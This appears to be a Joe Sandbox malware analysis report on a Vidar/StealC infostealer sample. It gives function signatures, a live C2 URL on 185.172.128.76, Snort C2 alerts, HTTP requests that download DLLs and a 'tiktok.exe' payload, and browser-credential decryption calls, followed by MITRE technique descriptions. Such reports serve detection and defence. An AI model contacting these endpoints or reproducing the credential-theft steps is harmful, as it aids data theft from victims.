Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 8685ce2b92b1692c1938c6155635d0588d186a7217a2b56f62b7ae0085d27560
Instruction ID: 5bdd3c33ff1577ffdae55fbe0c14a43ee257cc00c58018cb2122567558ab4299
Opcode Fuzzy Hash: 8685ce2b92b1692c1938c6155635d0588d186a7217a2b56f62b7ae0085d27560
Instruction Fuzzy Hash: 8D5155B4A00661CFD701CF18C984A56BBF1BF4A318F19C19AD85D9BB62C375E885CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CCEBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CCEBE8F

Strings

0, xrefs: 6CCEBE5B

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: b11ca2131287d7992bce66d53d486b00e039d42f499e1fb6ff3458bfa746b371
Instruction ID: 9ce8c50f0093e5feeedec61eb903bf84777950fa96554aee6a5922a04944f575
Opcode Fuzzy Hash: b11ca2131287d7992bce66d53d486b00e039d42f499e1fb6ff3458bfa746b371
Instruction Fuzzy Hash: F541CF71908345CFC701CF39C491AABB7E4BF8E348F004A5DF984A7610E730DA598B96

Uniqueness

Uniqueness Score: -1.00%

Function 6CD23CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD23D19
mozalloc_abort.MOZGLUE(?), ref: 6CD23D6C

Strings

d, xrefs: 6CD23D58

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 1d9aca14b4446d6068aa52ffa0943d894a3ce54eb5d61e15d7bf051a3949991f
Instruction ID: c2db0b13435e0428bb15b8710b2d18211c9eed3c6a1f8a7aa3def82121bcf075
Opcode Fuzzy Hash: 1d9aca14b4446d6068aa52ffa0943d894a3ce54eb5d61e15d7bf051a3949991f
Instruction Fuzzy Hash: 7B11E735E04788D7EB019B69CC144EEB77DEF9631CF848218DE459BA62FB34A584C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD46DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CD46E22
__Init_thread_footer.LIBCMT ref: 6CD46E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CD46E1D

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 12ac21eedd8767a8a7b40f1c1655ccaac3c939b55cb3aaca411d123c9e1cfcab
Instruction ID: 978af2fc5e22b58c1072ae789d981ae3baa2d99a18fe4692d993be652ed812dd
Opcode Fuzzy Hash: 12ac21eedd8767a8a7b40f1c1655ccaac3c939b55cb3aaca411d123c9e1cfcab
Instruction Fuzzy Hash: E9F02436204680CBFA008BAAD950FA933B5A713218F049175C74686F71C732E50BCAB3

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CCF9EEF

Strings

NaN, xrefs: 6CCF9EC1
Infinity, xrefs: 6CCF9EB7

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: c866ddc65243db6ce508409b43db34542befae9bf6388b1ff59d4eb09ebb8a6b
Instruction ID: 0bf52082c8f5aae534b64ee8b75afb7d6e965d62e604669edf566a193d79268f
Opcode Fuzzy Hash: c866ddc65243db6ce508409b43db34542befae9bf6388b1ff59d4eb09ebb8a6b
Instruction Fuzzy Hash: 44F04F72604E41CBFB00CF5AE945BA03379BB47319F201A15C7540BF60E736755ACEA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CCFBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CCFBEF5

Strings

cryptbase.dll, xrefs: 6CCFBEF0

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 0020b8ef9dd127295c7e125354f315453ed5bb3cb33343f9bcbe6701bf6aec18
Instruction ID: 9e21bd14e9aba9d7627d3f18785d712b44e018d689fec16aee7c06cdc59d2d1b
Opcode Fuzzy Hash: 0020b8ef9dd127295c7e125354f315453ed5bb3cb33343f9bcbe6701bf6aec18
Instruction Fuzzy Hash: 51D0C731184108F7E640AB528D15B653778AB05715F10C021F75554992D7B1D455DF54

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CD3B2C9,?,?,?,6CD3B127,?,?,?,?,?,?,?,?,?,6CD3AE52), ref: 6CD3B628

Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD390FF
Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD39108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CD3B2C9,?,?,?,6CD3B127,?,?,?,?,?,?,?,?,?,6CD3AE52), ref: 6CD3B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CD3B2C9,?,?,?,6CD3B127,?,?,?,?,?,?,?,?,?,6CD3AE52), ref: 6CD3B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CD3B127,?,?,?,?,?,?,?,?), ref: 6CD3B74D

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: dfba693ad1c9833340cb80d94b92c13e7d61ff111f8f56650c8edff2d3a66823
Instruction ID: 3023c93d4db5790fc26536c2a4aaf8f46651acd4a30d9c1e947ab30554201520
Opcode Fuzzy Hash: dfba693ad1c9833340cb80d94b92c13e7d61ff111f8f56650c8edff2d3a66823
Instruction Fuzzy Hash: BA51E0B1A01B25DFDB14DF18C98476AB7B5EB86304F05A129C84AAB7A1D730A804CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD36E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CD36EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CD36EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CD36F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD36F5C

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 83df77445c0d8a2b4dbc49ca834b93deb76b16b7ec83611d89e56f8bc4f78900
Instruction ID: 5a23128bd62d6af7a25476d2220fb9360e7f9621441562f88d47b98a9bd5c8d1
Opcode Fuzzy Hash: 83df77445c0d8a2b4dbc49ca834b93deb76b16b7ec83611d89e56f8bc4f78900
Instruction Fuzzy Hash: 7A31E5B1A1061A8FEB04CF2DCD806AE73F9FB85344F508139D45AD7661EB31E65AC7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CCF0A4D), ref: 6CD4B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CCF0A4D), ref: 6CD4B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CCF0A4D), ref: 6CD4B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CCF0A4D), ref: 6CD4B67F

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: a668d4d9b54bdc1ea4eb18f5f0888fbfb5812eb67752c3cfaab352742d3b56a7
Instruction ID: d914885bde0420696b8e1515c59e521494983635a3f17228339ddc4c6758b187
Opcode Fuzzy Hash: a668d4d9b54bdc1ea4eb18f5f0888fbfb5812eb67752c3cfaab352742d3b56a7
Instruction Fuzzy Hash: 2D3124B1A006169FEB10CF58C84466EBBB5FF80304F16C529C9469F261DB31E915CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CD1F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CD1F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CD1F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CD1F668

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 9cc0945347f2bc2f690cd4c3a5a69178a4661881a6042d6e792b28b4f603db29
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: C9316F71A04214AFDB14CF1DDCC4A9B77BAEBC8354B188538FA498BF14E631E9448B90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD326B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD326C1
free.MOZGLUE(?), ref: 6CD326E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD326FF
free.MOZGLUE ref: 6CD3270D

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 444f39102e3fb14b5e65b13d107fa9fbdcd3762b22fc6915188d2e947ebd6127
Instruction ID: b9754aed3c8e66e0300cb3450a82dc4c83fccee6dfae4289f2af2938b85b2563
Opcode Fuzzy Hash: 444f39102e3fb14b5e65b13d107fa9fbdcd3762b22fc6915188d2e947ebd6127
Instruction Fuzzy Hash: 8CF0D6B2B012109BEB009F58D888A5773ADAF4225CB140035EA1AC3B23E331F918C6E5

Uniqueness

Uniqueness Score: -1.00%

Source: 00000000.00000003.1986444186.0000000003130000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}
Source: bUcIhJ4VHm.exe.6760.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.172.128.76/3cd2b41cbde8fc9c.php"}

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\tiktok[1].exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	ReversingLabs: Detection: 20%

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00409540
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_004155A0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_004155A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_00406C10 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00406C10
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_004094A0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_004094A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_0040BF90 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040BF90
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCF6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CCF6C80
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE4A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CE4A9A0

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49704 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:49704 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 185.172.128.76:80 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:49704 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 185.172.128.76:80 -> 192.168.2.5:49704

Source: Malware configuration extractor	URLs: 185.172.128.76/3cd2b41cbde8fc9c.php
Source: Malware configuration extractor	URLs: http://185.172.128.76/3cd2b41cbde8fc9c.php

Source: Joe Sandbox View	IP Address: 185.172.128.203 185.172.128.203
Source: Joe Sandbox View	IP Address: 185.172.128.76 185.172.128.76

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76

Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/sqlite3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/freebl3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/mozglue.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/msvcp140.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/nss3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/softokn3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/vcruntime140.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /tiktok.exe HTTP/1.1Host: 185.172.128.203Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

